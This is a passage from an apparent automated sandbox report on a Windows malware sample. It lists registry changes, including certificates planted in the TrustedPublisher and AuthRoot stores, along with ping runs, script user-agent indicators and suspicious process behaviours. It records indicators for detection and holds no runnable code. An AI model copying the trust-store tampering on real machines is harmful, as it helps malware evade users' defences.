Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" taskkill.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B 1afan31zrrr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA 1afan31zrrr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC 1afan31zrrr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0f00000001000000140000001b4e387db74a69a0470cb08f598beb3b511617530300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be 1afan31zrrr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B\Blob = 0300000001000000140000008d4c4a23ba9ee84ea7348fa98cc6e65fbb69de7b140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d4040000000100000010000000ab9b109ce8934f11e7cd22ed550680da0f0000000100000030000000a768343c4aeaced5c72f3571938864983a67ed49031c1da2495863caf65fe507011f7f0e70b6cb40e5631c07721be03419000000010000001000000082218ffb91733e64136be5719f57c3a15c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa24b0000000100000044000000420032004600410046003700360039003200460044003900460046004200440036003400450044004500330031003700450034003200330033003400420041005f0000002000000001000000820500003082057e30820466a003020102021067def43ef17bdae24ff5940606d2c084300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c050003820101007ff25635b06d954a4e74af3ae26f018b87d33297edf840d2775311d7c7162ec69de64856be80a9f8bc78d2c86317ae8ced1631fa1f18c90ec7ee48799fc7c9b9bccc8815e36861d19f1d4b6181d7560463c2086926f0f0e52fdfc00a2ba905f4025a6a89d7b4844295e3ebf776205e35d9c0cd2508134c71388e87b0338491991e91f1ac9e3fa71d60812c364154a0e246060bac1bc799368c5ea10ba49ed9424624c5c55b81aeada0a0dc9f36b88dc21d15fa88ad8110391f44f02b9fdd10540c0734b136d114fd07023dff7255ab27d62c814171298d41f450571a7e6560afcbc5287698aeb3a853768be621526bea21d0840e494e8853da922ee71d0866d7 1afan31zrrr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 0f00000001000000200000002dc1a6a6cb0cb42f7e0d2c56f38bc7decbccd143405f669070ce130f9249ba48030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f 1afan31zrrr.exe -
Runs ping.exe 1 TTPs 4 IoCs
pid Process 6644 PING.EXE 10660 PING.EXE 2324 PING.EXE 6976 PING.EXE -
Script User-Agent 28 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 873 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 709 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1065 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1077 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1001 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 133 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 735 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1468 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 100 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 120 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 122 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 991 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1007 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 731 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 876 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1057 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 97 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 146 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 715 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 781 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1064 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 98 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 124 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 750 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 734 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 775 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1003 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1471 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3812 setups.tmp 3812 setups.tmp 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe 4748 multitimer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 8088 app.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 4368 app.exe 4368 app.exe -
Suspicious behavior: SetClipboardViewer 3 IoCs
pid Process 6820 3807947.exe 10180 524569.exe 7300 250008.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
